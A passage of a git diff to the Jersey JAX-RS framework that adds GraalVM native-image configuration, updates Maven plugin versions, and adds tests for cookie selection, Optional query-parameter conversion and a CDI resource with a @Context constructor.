+ "name":"org.glassfish.jersey.inject.hk2.InstanceSupplierFactoryBridge",
+ "methods":[{"name":"provide","parameterTypes":[] }]
+ },
+ {
+ "name":"org.glassfish.jersey.inject.hk2.JerseyErrorService",
+ "allDeclaredFields":true,
+ "allDeclaredMethods":true,
+ "allDeclaredConstructors":true
+ },
+ {
+ "name":"org.glassfish.jersey.inject.hk2.RequestContext",
+ "allDeclaredFields":true,
+ "allDeclaredMethods":true,
+ "allDeclaredConstructors":true
+ },
+ {
+ "name":"org.jvnet.hk2.internal.ProxyUtilities$4",
+ "allDeclaredFields":true,
+ "allDeclaredMethods":true,
+ "allDeclaredConstructors":true
+ },
+ {
+ "name":"org.jvnet.hk2.internal.ProxyUtilities",
+ "allDeclaredFields":true,
+ "allDeclaredMethods":true,
+ "allDeclaredConstructors":true
+ },
+ {
+ "name":"org.jvnet.hk2.internal.DynamicConfigurationServiceImpl",
+ "allDeclaredFields":true,
+ "allDeclaredMethods":true,
+ "allDeclaredConstructors":true
+ },
+ {
+ "name":"org.jvnet.hk2.internal.ServiceLocatorRuntimeImpl",
+ "allDeclaredFields":true,
+ "allDeclaredMethods":true,
+ "allDeclaredConstructors":true
+ }
+]
\ No newline at end of file
diff --git a/inject/hk2/src/main/resources/META-INF/native-image/org.glassfish.jersey.inject/jersey-hk2/resource-config.json b/inject/hk2/src/main/resources/META-INF/native-image/org.glassfish.jersey.inject/jersey-hk2/resource-config.json
new file mode 100644
index 0000000..1845c39
--- /dev/null
+++ b/inject/hk2/src/main/resources/META-INF/native-image/org.glassfish.jersey.inject/jersey-hk2/resource-config.json
@@ -0,0 +1,5 @@
+{
+ "bundles": [
+ {"name":"org.glassfish.jersey.inject.hk2.localization"}
+ ]
+}
\ No newline at end of file
diff --git a/pom.xml b/pom.xml
index 99b9a55..29b8a77 100644
--- a/pom.xml
+++ b/pom.xml
@@ -329,7 +329,7 @@
<plugin>
<groupId>org.apache.maven.plugins</groupId>
<artifactId>maven-jar-plugin</artifactId>
- <version>2.4</version>
+ <version>3.2.0</version>
</plugin>
<plugin>
<groupId>org.apache.maven.plugins</groupId>
@@ -423,14 +423,14 @@
<dependency>
<groupId>org.apache.maven.surefire</groupId>
<artifactId>surefire-logger-api</artifactId>
- <version>3.0.0-M3</version>
+ <version>${surefire.version}</version>
<!-- to get around bug https://github.com/junit-team/junit5/issues/1367 -->
<optional>true</optional>
</dependency>
<dependency>
<groupId>org.apache.maven.surefire</groupId>
<artifactId>surefire-api</artifactId>
- <version>3.0.0-M3</version>
+ <version>${surefire.version}</version>
<optional>true</optional>
</dependency>
</dependencies>
@@ -446,7 +446,7 @@
<plugin>
<groupId>org.apache.maven.plugins</groupId>
<artifactId>maven-dependency-plugin</artifactId>
- <version>2.8</version>
+ <version>3.1.2</version>
</plugin>
<plugin>
<groupId>org.apache.maven.plugins</groupId>
@@ -2094,6 +2094,7 @@
<nexus-staging.mvn.plugin.version>1.6.7</nexus-staging.mvn.plugin.version>
<opentracing.version>0.30.0</opentracing.version>
<osgi.version>6.0.0</osgi.version>
+ <osgi.framework.version>1.10.0</osgi.framework.version>
<osgi.compendium.version>5.0.0</osgi.compendium.version>
<osgi.service.cm.version>1.5.0</osgi.service.cm.version>
<pax.exam.version>4.13.2</pax.exam.version>
@@ -2112,10 +2113,14 @@
<!-- Jakartified, eligible for CQ -->
<weld.version>4.0.1.SP1</weld.version>
+ <weld3.version>3.1.7.SP1</weld3.version>
<validation.impl.version>7.0.0.Final</validation.impl.version>
<!-- END of Jakartified, eligible for CQ -->
<xerces.version>2.11.0</xerces.version>
+ <!-- Graal VM -->
+ <graalvm.version>20.3.2</graalvm.version>
+
<!-- do not need CQs (below this line till the end of version properties)-->
<gf.impl.version>6.0.0</gf.impl.version>
<!-- Jakartified -->
@@ -2144,6 +2149,7 @@
<jaxrs.api.impl.version>3.0.0</jaxrs.api.impl.version>
<jetty.version>11.0.0</jetty.version>
<jetty.plugin.version>11.0.0</jetty.plugin.version>
+ <jetty.servlet.api.25.version>6.1.14</jetty.servlet.api.25.version>
<jsonb.api.version>2.0.0</jsonb.api.version>
<jsonp.ri.version>2.0.0</jsonp.ri.version>
<jsonp.jaxrs.version>2.0.0</jsonp.jaxrs.version>
diff --git a/tests/e2e-core-common/src/test/java/org/glassfish/jersey/tests/e2e/common/message/internal/HeaderUtilsTest.java b/tests/e2e-core-common/src/test/java/org/glassfish/jersey/tests/e2e/common/message/internal/HeaderUtilsTest.java
index 29e9ffb..6859bfc 100644
--- a/tests/e2e-core-common/src/test/java/org/glassfish/jersey/tests/e2e/common/message/internal/HeaderUtilsTest.java
+++ b/tests/e2e-core-common/src/test/java/org/glassfish/jersey/tests/e2e/common/message/internal/HeaderUtilsTest.java
@@ -1,5 +1,5 @@
/*
- * Copyright (c) 2013, 2020 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2013, 2021 Oracle and/or its affiliates. All rights reserved.
*
* This program and the accompanying materials are made available under the
* terms of the Eclipse Public License v. 2.0, which is available at
@@ -185,7 +185,7 @@
}
@Test
- public void testgetPreferredCookie(){
+ public void testGetPreferredCookie(){
Calendar calendar = Calendar.getInstance();
calendar.set(2000, Calendar.JANUARY, 1);
@@ -227,4 +227,18 @@
}
+ @Test
+ public void testGetPreferredCookieWithNullPath() {
+ NewCookie first = new NewCookie("NAME", "VALUE");
+ NewCookie second = new NewCookie("NAME", "VALUE");
+ NewCookie returnedCookie = HeaderUtils.getPreferredCookie(first, second);
+
+ assertEquals(first, returnedCookie);
+ }
+
+ @Test
+ public void testGetPreferredCookieWithNullInput() {
+ assertNull(HeaderUtils.getPreferredCookie(null, null));
+ }
+
}
diff --git a/tests/e2e-server/src/test/java/org/glassfish/jersey/tests/e2e/server/OptionalParamConverterNoProviderTest.java b/tests/e2e-server/src/test/java/org/glassfish/jersey/tests/e2e/server/OptionalParamConverterNoProviderTest.java
new file mode 100644
index 0000000..16ec403
--- /dev/null
+++ b/tests/e2e-server/src/test/java/org/glassfish/jersey/tests/e2e/server/OptionalParamConverterNoProviderTest.java
@@ -0,0 +1,213 @@
+/*
+ * Copyright (c) 2021 Oracle and/or its affiliates. All rights reserved.
+ *
+ * This program and the accompanying materials are made available under the
+ * terms of the Eclipse Public License v. 2.0, which is available at
+ * http://www.eclipse.org/legal/epl-2.0.
+ *
+ * This Source Code may also be made available under the following Secondary
+ * Licenses when the conditions for such availability set forth in the
+ * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
+ * version 2 with the GNU Classpath Exception, which is available at
+ * https://www.gnu.org/software/classpath/license.html.
+ *
+ * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
+ */
+
+package org.glassfish.jersey.tests.e2e.server;
+
+import static org.junit.Assert.assertEquals;
+
+import java.util.List;
+import java.util.Optional;
+import java.util.OptionalDouble;
+import java.util.OptionalInt;
+import java.util.OptionalLong;
+
+import jakarta.ws.rs.GET;
+import jakarta.ws.rs.Path;
+import jakarta.ws.rs.QueryParam;
+import jakarta.ws.rs.core.Application;
+import jakarta.ws.rs.core.Response;
+
+import org.glassfish.jersey.server.ResourceConfig;
+import org.glassfish.jersey.test.JerseyTest;
+import org.junit.Test;
+
+public class OptionalParamConverterNoProviderTest extends JerseyTest {
+
+ private static final String PARAM_NAME = "paramName";
+
+ @Path("/OptionalResource")
+ public static class OptionalResource {
+
+ @GET
+ @Path("/fromString")
+ public Response fromString(@QueryParam(PARAM_NAME) Optional<String> data) {
+ return Response.ok(data.orElse("")).build();
+ }
+
+ @GET
+ @Path("/fromInteger")
+ public Response fromInteger(@QueryParam(PARAM_NAME) Optional<Integer> data) {
+ return Response.ok(data.orElse(0)).build();
+ }
+
+ @GET
+ @Path("/fromList")
+ public Response fromList(@QueryParam(PARAM_NAME) List<Optional<Integer>> data) {
+ StringBuilder builder = new StringBuilder("");
+ for (Optional<Integer> val : data) {
+ builder.append(val.orElse(0));
+ }
+ return Response.ok(builder.toString()).build();
+ }
+
+ @GET
+ @Path("/fromListOptionalInt")
+ public Response fromListOptionalInt(@QueryParam(PARAM_NAME) List<OptionalInt> data) {
+ StringBuilder builder = new StringBuilder("");
+ for (OptionalInt val : data) {
+ builder.append(val.orElse(0));
+ }
+ return Response.ok(builder.toString()).build();
+ }
+
+ @GET
+ @Path("/fromListOptionalDouble")
+ public Response fromListOptionalDouble(@QueryParam(PARAM_NAME) List<OptionalDouble> data) {
+ StringBuilder builder = new StringBuilder("");
+ for (OptionalDouble val : data) {
+ builder.append(val.orElse(0));
+ }
+ return Response.ok(builder.toString()).build();
+ }
+
+ @GET
+ @Path("/fromListOptionalLong")
+ public Response fromListOptionalLong(@QueryParam(PARAM_NAME) List<OptionalLong> data) {
+ StringBuilder builder = new StringBuilder("");
+ for (OptionalLong val : data) {
+ builder.append(val.orElse(0));
+ }
+ return Response.ok(builder.toString()).build();
+ }
+
+ @GET
+ @Path("/fromInteger2")
+ public Response fromInteger2(@QueryParam(PARAM_NAME) OptionalInt data) {
+ return Response.ok(data.orElse(0)).build();
+ }
+
+ @GET
+ @Path("/fromLong")
+ public Response fromLong(@QueryParam(PARAM_NAME) OptionalLong data) {
+ return Response.ok(data.orElse(0)).build();
+ }
+
+ @GET
+ @Path("/fromDouble")
+ public Response fromDouble(@QueryParam(PARAM_NAME) OptionalDouble data) {
+ return Response.ok(data.orElse(0.1)).build();
+ }
+ }
+
+ @Override
+ protected Application configure() {
+ return new ResourceConfig(OptionalResource.class);
+ }
+
+ @Test
+ public void fromOptionalStr() {
+ Response empty = target("/OptionalResource/fromString").request().get();
+ Response notEmpty = target("/OptionalResource/fromString").queryParam(PARAM_NAME, "anyValue").request().get();
+ assertEquals(200, empty.getStatus());
+ assertEquals("", empty.readEntity(String.class));
+ assertEquals(200, notEmpty.getStatus());
+ assertEquals("anyValue", notEmpty.readEntity(String.class));
+ }
+
+ @Test
+ public void fromOptionalInt() {
+ Response empty = target("/OptionalResource/fromInteger").request().get();
+ Response notEmpty = target("/OptionalResource/fromInteger").queryParam(PARAM_NAME, 1).request().get();
+ assertEquals(200, empty.getStatus());
+ assertEquals(Integer.valueOf(0), empty.readEntity(Integer.class));
+ assertEquals(200, notEmpty.getStatus());
+ assertEquals(Integer.valueOf(1), notEmpty.readEntity(Integer.class));
+ }
+
+ @Test
+ public void fromOptionalInt2() {
+ Response empty = target("/OptionalResource/fromInteger2").request().get();
+ Response notEmpty = target("/OptionalResource/fromInteger2").queryParam(PARAM_NAME, 1).request().get();
+ assertEquals(200, empty.getStatus());
+ assertEquals(Integer.valueOf(0), empty.readEntity(Integer.class));
+ assertEquals(200, notEmpty.getStatus());
+ assertEquals(Integer.valueOf(1), notEmpty.readEntity(Integer.class));
+ }
+
+ @Test
+ public void fromOptionalList() {
+ Response empty = target("/OptionalResource/fromList").request().get();
+ Response notEmpty = target("/OptionalResource/fromList").queryParam(PARAM_NAME, 1)
+ .queryParam(PARAM_NAME, 2).request().get();
+ assertEquals(200, empty.getStatus());
+ assertEquals("", empty.readEntity(String.class));
+ assertEquals(200, notEmpty.getStatus());
+ assertEquals("12", notEmpty.readEntity(String.class));
+ }
+
+ @Test
+ public void fromOptionalListOptionalInt() {
+ Response empty = target("/OptionalResource/fromListOptionalInt").request().get();
+ Response notEmpty = target("/OptionalResource/fromListOptionalInt").queryParam(PARAM_NAME, 1)
+ .queryParam(PARAM_NAME, 2).request().get();
+ assertEquals(200, empty.getStatus());
+ assertEquals("", empty.readEntity(String.class));
+ assertEquals(200, notEmpty.getStatus());
+ assertEquals("12", notEmpty.readEntity(String.class));
+ }
+
+ @Test
+ public void fromOptionalListOptionalDouble() {
+ Response empty = target("/OptionalResource/fromListOptionalDouble").request().get();
+ Response notEmpty = target("/OptionalResource/fromListOptionalDouble").queryParam(PARAM_NAME, 1)
+ .queryParam(PARAM_NAME, 2).request().get();
+ assertEquals(200, empty.getStatus());
+ assertEquals("", empty.readEntity(String.class));
+ assertEquals(200, notEmpty.getStatus());
+ assertEquals("1.02.0", notEmpty.readEntity(String.class));
+ }
+
+ @Test
+ public void fromOptionalListOptionalLong() {
+ Response empty = target("/OptionalResource/fromListOptionalLong").request().get();
+ Response notEmpty = target("/OptionalResource/fromListOptionalLong").queryParam(PARAM_NAME, 1)
+ .queryParam(PARAM_NAME, 2).request().get();
+ assertEquals(200, empty.getStatus());
+ assertEquals("", empty.readEntity(String.class));
+ assertEquals(200, notEmpty.getStatus());
+ assertEquals("12", notEmpty.readEntity(String.class));
+ }
+
+ @Test
+ public void fromOptionalLong() {
+ Response empty = target("/OptionalResource/fromLong").request().get();
+ Response notEmpty = target("/OptionalResource/fromLong").queryParam(PARAM_NAME, 1L).request().get();
+ assertEquals(200, empty.getStatus());
+ assertEquals(Long.valueOf(0L), empty.readEntity(Long.class));
+ assertEquals(200, notEmpty.getStatus());
+ assertEquals(Long.valueOf(1L), notEmpty.readEntity(Long.class));
+ }
+
+ @Test
+ public void fromOptionalDouble() {
+ Response empty = target("/OptionalResource/fromDouble").request().get();
+ Response notEmpty = target("/OptionalResource/fromDouble").queryParam(PARAM_NAME, 1.1).request().get();
+ assertEquals(200, empty.getStatus());
+ assertEquals(Double.valueOf(0.1), empty.readEntity(Double.class));
+ assertEquals(200, notEmpty.getStatus());
+ assertEquals(Double.valueOf(1.1), notEmpty.readEntity(Double.class));
+ }
+}
diff --git a/tests/e2e-server/src/test/java/org/glassfish/jersey/tests/e2e/server/OptionalParamConverterTest.java b/tests/e2e-server/src/test/java/org/glassfish/jersey/tests/e2e/server/OptionalParamConverterTest.java
index a0598d8..f0e5b08 100644
--- a/tests/e2e-server/src/test/java/org/glassfish/jersey/tests/e2e/server/OptionalParamConverterTest.java
+++ b/tests/e2e-server/src/test/java/org/glassfish/jersey/tests/e2e/server/OptionalParamConverterTest.java
@@ -16,6 +16,11 @@
package org.glassfish.jersey.tests.e2e.server;
+import java.lang.annotation.Annotation;
+import java.lang.reflect.Type;
+import java.text.ParseException;
+import java.time.Instant;
+import java.util.Date;
import java.util.List;
import java.util.Optional;
@@ -24,12 +29,18 @@
import jakarta.ws.rs.QueryParam;
import jakarta.ws.rs.core.Application;
import jakarta.ws.rs.core.Response;
+import jakarta.ws.rs.ext.ParamConverter;
+import jakarta.ws.rs.ext.ParamConverterProvider;
+import jakarta.ws.rs.ext.Provider;
+import org.glassfish.jersey.internal.LocalizationMessages;
+import org.glassfish.jersey.internal.inject.ExtractorException;
import org.glassfish.jersey.server.ResourceConfig;
import org.glassfish.jersey.test.JerseyTest;
import org.junit.Test;
import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertFalse;
public class OptionalParamConverterTest extends JerseyTest {
@@ -51,6 +62,18 @@
}
@GET
+ @Path("/fromDate")
+ public Response fromDate(@QueryParam(PARAM_NAME) Optional<Date> data) throws ParseException {
+ return Response.ok(data.orElse(new Date(1609459200000L))).build();
+ }
+
+ @GET
+ @Path("/fromInstant")
+ public Response fromInstant(@QueryParam(PARAM_NAME) Optional<Instant> data) {
+ return Response.ok(data.orElse(Instant.parse("2021-01-01T00:00:00Z")).toString()).build();
+ }
+
+ @GET
@Path("/fromList")
public Response fromList(@QueryParam(PARAM_NAME) List<Optional<Integer>> data) {
StringBuilder builder = new StringBuilder("");
@@ -61,9 +84,41 @@
}
}
+ @Provider
+ public static class InstantParamConverterProvider implements ParamConverterProvider {
+ @Override
+ public <T> ParamConverter<T> getConverter(Class<T> rawType, Type genericType, Annotation[] annotations) {
+ if (rawType.equals(Instant.class)) {
+ return new ParamConverter<T>() {
+ @Override
+ public T fromString(String value) {
+ if (value == null) {
+ throw new IllegalArgumentException(LocalizationMessages.METHOD_PARAMETER_CANNOT_BE_NULL("value"));
+ }
+ try {
+ return rawType.cast(Instant.parse(value));
+ } catch (Exception e) {
+ throw new ExtractorException(e);
+ }
+ }
+
+ @Override
+ public String toString(T value) {
+ if (value == null) {
+ throw new IllegalArgumentException();
+ }
+ return value.toString();
+ }
+ };
+ } else {
+ return null;
+ }
+ }
+ }
+
@Override
protected Application configure() {
- return new ResourceConfig(OptionalResource.class);
+ return new ResourceConfig(OptionalResource.class, InstantParamConverterProvider.class);
}
@Test
@@ -77,22 +132,81 @@
}
@Test
- public void fromOptionalInt() {
- Response empty = target("/OptionalResource/fromInteger").request().get();
+ public void fromOptionalInteger() {
+ Response missing = target("/OptionalResource/fromInteger").request().get();
+ Response empty = target("/OptionalResource/fromInteger").queryParam(PARAM_NAME, "").request().get();
Response notEmpty = target("/OptionalResource/fromInteger").queryParam(PARAM_NAME, 1).request().get();
+ Response invalid = target("/OptionalResource/fromInteger").queryParam(PARAM_NAME, "invalid").request().get();
+ assertEquals(200, missing.getStatus());
+ assertEquals(Integer.valueOf(0), missing.readEntity(Integer.class));
assertEquals(200, empty.getStatus());
assertEquals(Integer.valueOf(0), empty.readEntity(Integer.class));
assertEquals(200, notEmpty.getStatus());
assertEquals(Integer.valueOf(1), notEmpty.readEntity(Integer.class));
+ assertEquals(404, invalid.getStatus());
+ assertFalse(invalid.hasEntity());
+ }
+
+ @Test
+ public void fromOptionalDate() {
+ Response missing = target("/OptionalResource/fromDate").request().get();
+ Response empty = target("/OptionalResource/fromDate").queryParam(PARAM_NAME, "").request().get();
+ Response notEmpty = target("/OptionalResource/fromDate").queryParam(PARAM_NAME, "Sat, 01 May 2021 12:00:00 GMT")
+ .request().get();
+ Response invalid = target("/OptionalResource/fromDate").queryParam(PARAM_NAME, "invalid").request().get();
+ assertEquals(200, missing.getStatus());
+ assertEquals(new Date(1609459200000L), missing.readEntity(Date.class));
+ assertEquals(404, empty.getStatus());
+ assertFalse(empty.hasEntity());
+ assertEquals(200, notEmpty.getStatus());
+ assertEquals(new Date(1619870400000L), notEmpty.readEntity(Date.class));
+ assertEquals(404, invalid.getStatus());
+ assertFalse(invalid.hasEntity());
+ }
+
+ @Test
+ public void fromOptionalInstant() {
+ Response missing = target("/OptionalResource/fromInstant").request().get();
+ Response empty = target("/OptionalResource/fromInstant").queryParam(PARAM_NAME, "").request().get();
+ Response notEmpty = target("/OptionalResource/fromInstant").queryParam(PARAM_NAME, "2021-05-01T12:00:00Z")
+ .request().get();
+ Response invalid = target("/OptionalResource/fromInstant").queryParam(PARAM_NAME, "invalid").request().get();
+ assertEquals(200, missing.getStatus());
+ assertEquals("2021-01-01T00:00:00Z", missing.readEntity(String.class));
+ assertEquals(404, empty.getStatus());
+ assertFalse(empty.hasEntity());
+ assertEquals(200, notEmpty.getStatus());
+ assertEquals("2021-05-01T12:00:00Z", notEmpty.readEntity(String.class));
+ assertEquals(404, invalid.getStatus());
+ assertFalse(invalid.hasEntity());
}
@Test
public void fromOptionalList() {
- Response empty = target("/OptionalResource/fromList").request().get();
- Response notEmpty = target("/OptionalResource/fromList").queryParam(PARAM_NAME, 1)
+ Response missing = target("/OptionalResource/fromList").request().get();
+ Response empty = target("/OptionalResource/fromList")
+ .queryParam(PARAM_NAME, "").request().get();
+ Response partiallyEmpty = target("/OptionalResource/fromList")
+ .queryParam(PARAM_NAME, 1)
+ .queryParam(PARAM_NAME, "").request().get();
+ Response invalid = target("/OptionalResource/fromList")
+ .queryParam(PARAM_NAME, "invalid").request().get();
+ Response partiallyInvalid = target("/OptionalResource/fromList")
+ .queryParam(PARAM_NAME, 1)
+ .queryParam(PARAM_NAME, "invalid").request().get();
+ Response notEmpty = target("/OptionalResource/fromList")
+ .queryParam(PARAM_NAME, 1)
.queryParam(PARAM_NAME, 2).request().get();
+ assertEquals(200, missing.getStatus());
+ assertEquals("", missing.readEntity(String.class));
assertEquals(200, empty.getStatus());
- assertEquals("", empty.readEntity(String.class));
+ assertEquals("0", empty.readEntity(String.class));
+ assertEquals(200, partiallyEmpty.getStatus());
+ assertEquals("10", partiallyEmpty.readEntity(String.class));
+ assertEquals(404, invalid.getStatus());
+ assertFalse(invalid.hasEntity());
+ assertEquals(404, partiallyInvalid.getStatus());
+ assertFalse(partiallyInvalid.hasEntity());
assertEquals(200, notEmpty.getStatus());
assertEquals("12", notEmpty.readEntity(String.class));
}
diff --git a/tests/integration/cdi-integration/cdi-resource-with-at-context/pom.xml b/tests/integration/cdi-integration/cdi-resource-with-at-context/pom.xml
new file mode 100644
index 0000000..464e1a4
--- /dev/null
+++ b/tests/integration/cdi-integration/cdi-resource-with-at-context/pom.xml
@@ -0,0 +1,89 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+
+ Copyright (c) 2021 Oracle and/or its affiliates. All rights reserved.
+
+ This program and the accompanying materials are made available under the
+ terms of the Eclipse Public License v. 2.0, which is available at
+ http://www.eclipse.org/legal/epl-2.0.
+
+ This Source Code may also be made available under the following Secondary
+ Licenses when the conditions for such availability set forth in the
+ Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
+ version 2 with the GNU Classpath Exception, which is available at
+ https://www.gnu.org/software/classpath/license.html.
+
+ SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
+
+-->
+<project xmlns="http://maven.apache.org/POM/4.0.0"
+ xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+ xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
+ <parent>
+ <groupId>org.glassfish.jersey.tests.integration.cdi</groupId>
+ <artifactId>cdi-integration-project</artifactId>
+ <version>3.1.0-SNAPSHOT</version>
+ </parent>
+ <modelVersion>4.0.0</modelVersion>
+
+ <artifactId>cdi-resource-with-at-context</artifactId>
+
+ <name>jersey-tests-resource-with-at-context</name>
+
+ <description>CDI works for a resource class with constructor with @Context</description>
+
+ <dependencies>
+ <dependency>
+ <groupId>jakarta.ws.rs</groupId>
+ <artifactId>jakarta.ws.rs-api</artifactId>
+ <scope>provided</scope>
+ </dependency>
+ <dependency>
+ <groupId>jakarta.annotation</groupId>
+ <artifactId>jakarta.annotation-api</artifactId>
+ <scope>provided</scope>
+ </dependency>
+ <dependency>
+ <groupId>jakarta.enterprise</groupId>
+ <artifactId>jakarta.enterprise.cdi-api</artifactId>
+ <scope>provided</scope>
+ </dependency>
+ <dependency>
+ <groupId>jakarta.servlet</groupId>
+ <artifactId>jakarta.servlet-api</artifactId>
+ <version>${servlet5.version}</version>
+ </dependency>
+ <dependency>
+ <groupId>org.glassfish.jersey.test-framework.providers</groupId>
+ <artifactId>jersey-test-framework-provider-grizzly2</artifactId>
+ <scope>test</scope>
+ </dependency>
+ <dependency>
+ <groupId>org.glassfish.jersey.ext.cdi</groupId>
+ <artifactId>jersey-weld2-se</artifactId>
+ <scope>test</scope>
+ </dependency>
+ <dependency>
+ <groupId>org.jboss.weld.se</groupId>
+ <artifactId>weld-se-core</artifactId>
+ <scope>test</scope>
+ </dependency>
+ <dependency>
+ <groupId>org.glassfish.jersey.ext.cdi</groupId>
+ <artifactId>jersey-cdi1x</artifactId>
+ </dependency>
+ <dependency>
+ <groupId>org.glassfish.jersey.ext.cdi</groupId>
+ <artifactId>jersey-cdi-rs-inject</artifactId>
+ </dependency>
+ <dependency>
+ <groupId>org.glassfish.jersey.media</groupId>
+ <artifactId>jersey-media-sse</artifactId>
+ </dependency>
+ <dependency>
+ <groupId>org.glassfish.jersey.containers</groupId>
+ <artifactId>jersey-container-servlet-core</artifactId>
+ </dependency>
+ </dependencies>
+
+</project>
\ No newline at end of file
diff --git a/tests/integration/cdi-integration/cdi-resource-with-at-context/src/main/java/org/glassfish/jersey/tests/cdi/resourceatcontext/App.java b/tests/integration/cdi-integration/cdi-resource-with-at-context/src/main/java/org/glassfish/jersey/tests/cdi/resourceatcontext/App.java
new file mode 100644
index 0000000..c93cc61
--- /dev/null
+++ b/tests/integration/cdi-integration/cdi-resource-with-at-context/src/main/java/org/glassfish/jersey/tests/cdi/resourceatcontext/App.java
@@ -0,0 +1,24 @@
+/*
+ * Copyright (c) 2021 Oracle and/or its affiliates. All rights reserved.
+ *
+ * This program and the accompanying materials are made available under the
+ * terms of the Eclipse Public License v. 2.0, which is available at
+ * http://www.eclipse.org/legal/epl-2.0.
+ *
+ * This Source Code may also be made available under the following Secondary
+ * Licenses when the conditions for such availability set forth in the
+ * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
+ * version 2 with the GNU Classpath Exception, which is available at
+ * https://www.gnu.org/software/classpath/license.html.
+ *
+ * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
+ */
+package org.glassfish.jersey.tests.cdi.resourceatcontext;
+
+import org.glassfish.jersey.server.ResourceConfig;
+
+public class App extends ResourceConfig {
+ public App() {
+ register(ResourceWithConstructor.class);
+ }
+}
diff --git a/tests/integration/cdi-integration/cdi-resource-with-at-context/src/main/java/org/glassfish/jersey/tests/cdi/resourceatcontext/ResourceWithConstructor.java b/tests/integration/cdi-integration/cdi-resource-with-at-context/src/main/java/org/glassfish/jersey/tests/cdi/resourceatcontext/ResourceWithConstructor.java
new file mode 100644
index 0000000..ead1dcf
--- /dev/null
+++ b/tests/integration/cdi-integration/cdi-resource-with-at-context/src/main/java/org/glassfish/jersey/tests/cdi/resourceatcontext/ResourceWithConstructor.java
@@ -0,0 +1,41 @@
+/*
+ * Copyright (c) 2021 Oracle and/or its affiliates. All rights reserved.
+ *
+ * This program and the accompanying materials are made available under the
+ * terms of the Eclipse Public License v. 2.0, which is available at
+ * http://www.eclipse.org/legal/epl-2.0.
+ *
+ * This Source Code may also be made available under the following Secondary
+ * Licenses when the conditions for such availability set forth in the
+ * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
+ * version 2 with the GNU Classpath Exception, which is available at
+ * https://www.gnu.org/software/classpath/license.html.
+ *
+ * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
+ */
+package org.glassfish.jersey.tests.cdi.resourceatcontext;
+
+import jakarta.enterprise.inject.spi.BeanManager;
+import jakarta.inject.Inject;
+import jakarta.ws.rs.GET;
+import jakarta.ws.rs.Path;
+import jakarta.ws.rs.core.Context;
+import jakarta.ws.rs.core.HttpHeaders;
+
+@Path("/")
+public class ResourceWithConstructor {
+ HttpHeaders headers;
+
+ @Inject
+ BeanManager beanManager;
+
+ public ResourceWithConstructor(@Context HttpHeaders headers) {
+ this.headers = headers;
+ }
+
+ @GET
+ @Path("get")
+ public String get() {
+ return headers != null && beanManager != null ? "OK" : "NOK";
+ }
+}
diff --git a/tests/integration/cdi-integration/cdi-resource-with-at-context/src/main/resources/META-INF/beans.xml b/tests/integration/cdi-integration/cdi-resource-with-at-context/src/main/resources/META-INF/beans.xml
new file mode 100644
index 0000000..9ad6922
--- /dev/null
+++ b/tests/integration/cdi-integration/cdi-resource-with-at-context/src/main/resources/META-INF/beans.xml
@@ -0,0 +1,25 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+
+ Copyright (c) 2021 Oracle and/or its affiliates. All rights reserved.
+
+ This program and the accompanying materials are made available under the
+ terms of the Eclipse Public License v. 2.0, which is available at
+ http://www.eclipse.org/legal/epl-2.0.
+
+ This Source Code may also be made available under the following Secondary
+ Licenses when the conditions for such availability set forth in the
+ Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
+ version 2 with the GNU Classpath Exception, which is available at
+ https://www.gnu.org/software/classpath/license.html.
+
+ SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
+
+-->
+
+<beans xmlns="http://xmlns.jcp.org/xml/ns/javaee"
+ xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+ xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee
+ http://xmlns.jcp.org/xml/ns/javaee/beans_1_1.xsd"
+ bean-discovery-mode="none">
+</beans>
diff --git a/tests/integration/cdi-integration/cdi-resource-with-at-context/src/test/java/org/glassfish/jersey/tests/cdi/resourceatcontext/ResourceWithConstructorTest.java b/tests/integration/cdi-integration/cdi-resource-with-at-context/src/test/java/org/glassfish/jersey/tests/cdi/resourceatcontext/ResourceWithConstructorTest.java
new file mode 100644
index 0000000..5f0772c
--- /dev/null
+++ b/tests/integration/cdi-integration/cdi-resource-with-at-context/src/test/java/org/glassfish/jersey/tests/cdi/resourceatcontext/ResourceWithConstructorTest.java
@@ -0,0 +1,85 @@
+/*
+ * Copyright (c) 2021 Oracle and/or its affiliates. All rights reserved.
+ *
+ * This program and the accompanying materials are made available under the
+ * terms of the Eclipse Public License v. 2.0, which is available at
+ * http://www.eclipse.org/legal/epl-2.0.
+ *
+ * This Source Code may also be made available under the following Secondary
+ * Licenses when the conditions for such availability set forth in the
+ * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
+ * version 2 with the GNU Classpath Exception, which is available at
+ * https://www.gnu.org/software/classpath/license.html.
+ *
+ * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
+ */
+
+package org.glassfish.jersey.tests.cdi.resourceatcontext;
+
+import org.glassfish.jersey.inject.hk2.Hk2InjectionManagerFactory;
+import org.glassfish.jersey.server.ResourceConfig;
+import org.glassfish.jersey.servlet.ServletProperties;
+import org.glassfish.jersey.test.DeploymentContext;
+import org.glassfish.jersey.test.JerseyTest;
+import org.glassfish.jersey.test.ServletDeploymentContext;
+import org.glassfish.jersey.test.grizzly.GrizzlyWebTestContainerFactory;
+import org.glassfish.jersey.test.spi.TestContainerException;
+import org.glassfish.jersey.test.spi.TestContainerFactory;
+import org.jboss.weld.environment.se.Weld;
+import org.junit.Assert;
+import org.junit.Assume;
+import org.junit.Before;
+import org.junit.Test;
+
+import jakarta.ws.rs.core.Application;
+import jakarta.ws.rs.core.Response;
+
+public class ResourceWithConstructorTest extends JerseyTest {
+ private Weld weld;
+
+ @Before
+ public void setup() {
